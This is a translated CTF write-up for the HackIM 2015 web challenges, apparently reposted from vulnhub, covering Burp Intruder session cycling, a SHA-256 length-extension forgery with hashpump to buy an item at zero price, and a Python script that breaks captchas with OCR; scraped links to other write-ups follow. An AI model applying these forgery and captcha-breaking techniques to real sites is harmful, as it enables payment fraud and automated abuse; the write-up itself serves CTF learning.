HackIM web关writeup
Web100
访问页面将看到下面的错误

在burp里使用request / response查看有没有什么不正常的地方。如下图所示,在返回的数据包里被设置了两次不同的PHPSESSID。

如果我把PHPSESSID改成第一个去请求会怎么样呢?当然没有那么简单,修改之后我发现页面只有“Error Code”有改变。
由于PHPSESSID一直在改变,我把每次返回的第一个PHPSESSID作为下一次请求的PHPSESSID去尝试,burp的Intruder可以实现。



Attack几秒钟之后,我发现返回的Error Code开始重复了,于是我把他们整理到一起。

很奇怪的一串字符,但是有点像base64加密,试一下。
|
1
2
|
root@kali:~# echo TnVsbGNvbkdvYTIwMTVAV0VCMDAxMTAw | base64 -dNullconGoa2015@WEB001100 |
所以flag是flag{NullconGoa2015@WEB001100}
Web300
访问页面后出现
“Find the keys to your home”和一个到loop.php的超链接
访问连接,里面是一个form表单,还有一个房子的图片。
同时还有个提示<!-- A place to loo[k]::back. -->
loo[k]::back有点像ipv6的格式,ipv6的环回接口(loopback)是::1, or 0:0:0:0:0:0:0:1,这也是这道题的flag。
好吧,虽然不像是一道web题,但我确实是这么解开的。
Web400
以0的价格购买这个商品
打开网页出现下面的页面:

点击buy之后会有表单提交,源码如下
|
1
2
3
4
5
|
<form action=checkout.php method=POST> <input type=hidden name=msg value="Nullcon2015%7Ccorporate%7C10999"><br> <input type=hidden name=checksum value="568fe78b29ac377a58ae1fbf02b4d1a158e605b3897916227e4b3ecfc78973db"><br> <input type=submit value=Buy> </form> |
既然要以0的价格购买,我们就要把price改成0,但是我们没法直接修改,因为checksum做了校验。
查看页面源代码,发现下面的注释
|
1
2
3
4
5
6
7
|
<!-- if( $checksum === hash("sha256",$secretkey . $msg)) // secretkey is XXXXXXXXXXXXXXXXXXX :-P { // Success; :) } ?> --> |
这是length extension 攻击,如果你知道message和MAC,只需再知道key的长度,尽管不知道key的值,也能在message后面添加信息并计算出相应MAC。
使用hashpump来生成一个checksum
token: Nullcon2015|corporate|10999%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%01p|0
checksum: a2319d6945201a4b9fd67f077248faff2b735297cca2ac10762af65b2c2dca48
提交之后获得key
|
1
2
3
4
5
6
7
8
9
10
|
HTTP/1.1 200 OK Date: Fri, 09 Jan 2015 21:08:38 GMT Server: Apache/2.4.7 (Ubuntu) X-Powered-By: PHP/5.5.9-1ubuntu4.5 Vary: Accept-Encoding Content-Length: 114 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html <h1> Checkout </h1>Congratualtion You bought Nullcon Pass in ZERO rupee. See you at Nullcon!Flag is fl@g_*2o15} |
Web500
唯一获得的提示就是“Break the Captcha”
访问页面

就是说需要我们破解验证码
下面是我的exp
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
#!/usr/bin/python__author__ = "@_SaxX_"import os, requests, commands, res = requests.session()url = "http://54.165.191.231/"s.get(url + "captcha.php")while True: open('captcha.png', 'wb').write( s.get(url + "imagedemo.php").content ) os.system('convert captcha.png -compress none -threshold 16% img.png') captcha = commands.getoutput("gocr -i img.png").strip() response = s.post(url + "verify.php", {'solution' : captcha}).text flag = re.findall('Score :(.*)', response)[0].rstrip() if not str(flag).isdigit(): print "[+] Flag: %s" %flag breakprint "[%s] Sending Captcha=%s ... "%(flag, captcha) |


执行之后出现flag
原文链接:https://ctf-team.vulnhub.com/write-ups/hackim/
flag{H@CKIM_C@pTcha!09022015}本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
HackIM web关writeup的更多相关文章
- 31C3 CTF web关writeup
0x00 背景 31c3 CTF 还是很人性化的,比赛结束了之后还可以玩.看题解做出了当时不会做的题目,写了一个writeup. 英文的题解可以看这:https://github.com/ctfs/w ...
- XCTF攻防世界Web之WriteUp
XCTF攻防世界Web之WriteUp 0x00 准备 [内容] 在xctf官网注册账号,即可食用. [目录] 目录 0x01 view-source2 0x02 get post3 0x03 rob ...
- 网络安全实验室_注入关writeup
最简单的SQL注入 查看页面源码发现提示要登录admin账户 果断试试万能密码admin' or 1=1# 直接能看到flag了 最简单的SQL注入(熟悉注入环境) 首先查看源码,提示id=1,看样子 ...
- jarvis OJ WEB题目writeup
0x00前言 发现一个很好的ctf平台,题目感觉很有趣,学习了一波并记录一下 https://www.jarvisoj.com 0x01 Port51 题目要求是用51端口去访问该网页,注意下,要用具 ...
- 实验吧 Web的WriteUp
每次看别人的Writeup都有一种感觉,为什么有了WriteUp我还是不会,每次都打击自己的积极性,所以自己尝试写一篇每个萌新都能看懂的Writeup. 0x01 天下武功唯快不破 题目提示 : 看看 ...
- 第一周Web类WriteUp
Forms 看到这题目第一反应就是先抓个包试试,抓包之后效果如图所示 看到一个showsource=0,那就想着把它改成1看看会出现什么效果,改成1之后forward,发现网页上变成了这个样子 根据这 ...
- 实验吧 web题writeup
1.http://ctf5.shiyanbar.com/web/wonderkun/web/index.html 用户名我输入:or'xor"and"select"uni ...
- ISG2018 web题Writeup
0x01.命令注入 这题可以使用burpsuite扫出来,但是可能需要测一下. 得知payload为:i%7cecho%20gzavvlsv9c%20q9szmriaiy%7c%7ca%20%23'% ...
- 2019强网杯web upload writeup及关键思路
<?phpnamespace app\web\controller; class Profile{ public $checker; public $filename_tmp; ...
随机推荐
- net.sf.json.JSONObject处理 "null" 字符串的一些坑
转: net.sf.json.JSONObject处理 "null" 字符串的一些坑 2018年05月02日 16:41:25 大白能 阅读数:7026 版权声明:本文为博主原 ...
- 关于ansbile
YAML语法规则 规则一:缩进(一个缩进两空格,注意一定不用tab) 规则二:冒号(每个冒号后一定要有空格) 规则三:短横线 - (短横线后面要空格) 编写案例 ansible-playbook -- ...
- JAVA记事本的图形用户界面应用程序
JAVA记事本的图形用户界面应用程序 整体分析: 代码实现: import java.awt.EventQueue; import java.awt.event.ActionEvent; import ...
- MySQL操作符与相关函数
union(联合)union使用是关联两张表或者两个查询所查出来的数据,联合成一张表但不会出现重复数据,显示的字段必须匹配列数. select s3.id cid,s1.cityName provin ...
- Session中的方法概述
一.操作实体对象 delete()把持久化或游离转为删除状态 save()把临时状态变为持久化状态(交给Sessioin管理) saveOrUpdate()把临时或游离状态转为持久化状态 update ...
- dbgrid中移动焦点到指定的行和列
dbgrid是从TCustomGrid继承下来的,它有col与row属性,只不过是protected的,不能直接访问,要处理一下,可以这样:TDrawGrid(dbgrid1).row:=row;TD ...
- 使用第三方UITableView+FDTemplateLayoutCell计算cell行高注意点
现在很方便的计算单元格的行高大部分都是使用的第三方框架UITableView+FDTemplateLayoutCell,不知道你在使用这个框架的时候有没有遇到和我一样的问题,比如: 在这样计算cell ...
- three中的着色器示例
其实在3D引擎/库的帮助下,我们做webgl开发的难度已经很大大地降低了,熟悉相关API的话,开发一个简单的3D程序可以说是很轻松的事情. 在我看来,webgl的核心就是着色器(顶点着色器.片元着色器 ...
- 【HANA系列】【第二篇】SAP HANA XS使用JavaScript编程详解
公众号:SAP Technical 本文作者:matinal 原文出处:http://www.cnblogs.com/SAPmatinal/ 原文链接:[HANA系列][第二篇]SAP HANA XS ...
- Spring中重要的注解
现在大部分的Spring项目都会用到注解.使用注解来替换xml,一行简单的注解就可以解决很多事情.但是你真的懂其中的原理吗. 本文翻译于 https://docs.spring.io/spring-f ...